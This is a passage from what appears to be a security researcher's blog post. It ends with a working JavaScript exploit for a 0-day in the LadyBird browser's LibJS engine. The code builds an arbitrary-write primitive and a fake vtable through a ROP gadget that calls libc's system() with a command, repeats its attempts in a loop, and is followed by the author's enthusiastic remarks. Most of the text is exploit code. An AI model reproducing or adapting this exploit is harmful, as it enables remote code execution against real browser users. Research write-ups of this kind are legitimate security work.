bytes_target_set64(bytes_target,4,0x6c61636b, 0x63) //kcalc addPtr48_i32(libjs_lo, libjs_hi, 0x0056eb13,0,tmp2) bytes_target_set64(bytes_target,8,tmp2[0],tmp2[1]) /* fake_vtable+0x10: +0x00(0): bt_data+0x20 +0x08(1): bt_data +0x10(2): +0x18(3): system +0x20(4): command +0x28(5): */ // 0x0056eb13: mov rdi, [rax]; mov rax, [rax+8]; mov rax, [rax+0x18]; jmp rax; // libc.sym["system"] = 362320 wb[0] = ((bt_data_lo>>0x00)&0xff); wb[1] = ((bt_data_lo>>0x08)&0xff); wb[2] = ((bt_data_lo>>0x10)&0xff); wb[3] = ((bt_data_lo>>0x18)&0xff); wb[4] = ((bt_data_hi>>0x00)&0xff); wb[5] = ((bt_data_hi>>0x08)&0xff); wb[6] = ((bt_data_hi>>0x10)&0xff); wb[7] = ((bt_data_hi>>0x18)&0xff); aaw_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, bt_lo, bt_hi, wb, 8); console.log(Object.getPrototypeOf(bytes_target)); wb[0] = ((vt2[0]>>0x00)&0xff); wb[1] = ((vt2[0]>>0x08)&0xff); wb[2] = ((vt2[0]>>0x10)&0xff); wb[3] = ((vt2[0]>>0x18)&0xff); wb[4] = ((vt2[1]>>0x00)&0xff); wb[5] = ((vt2[1]>>0x08)&0xff); wb[6] = ((vt2[1]>>0x10)&0xff); wb[7] = ((vt2[1]>>0x18)&0xff); aaw_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, bt_lo, bt_hi, wb, 8); Object.getPrototypeOf(bytes_target); return 0; } function main() { const work = { scratch: new Uint8Array(256), scratch8: new Uint8Array(8), ret2: new Uint32Array(2), tmp2: new Uint32Array(2), base2: new Uint32Array(2), got2: new Uint32Array(2), res2: new Uint32Array(2), vt2: new Uint32Array(2), libc2: new Uint32Array(2), wb: new Uint8Array(8), gadgets: new Uint32Array(2), f_vt: new Uint8Array(0x300), bytes_target: new Uint8Array(256), }; for (let i = 0; i < 256; i++) work.bytes_target[i] = 0xAA; const anchors = []; for (let n = 0; n < 64; n++) { const s = setup(16); if (!s.ok) { console.log("setup failed: " + s.reason); continue; } anchors.push(s); let rc = -99; try { rc = runExploit(s, work); } catch (e) { console.log("threw: " + e); continue; } if (rc === 0) { break; } else { console.log("attempt failed: rc=" + rc); } } } main(); </script>

Had a lot of fun

LadyBird is new era Browser, they are planning to release pre version in 2026, I cannot wait for it.

This bug was so educational, funny and provides me a depth knowledge of js/libjs internal.

0-day is fun!

Last modified: 21 April 2026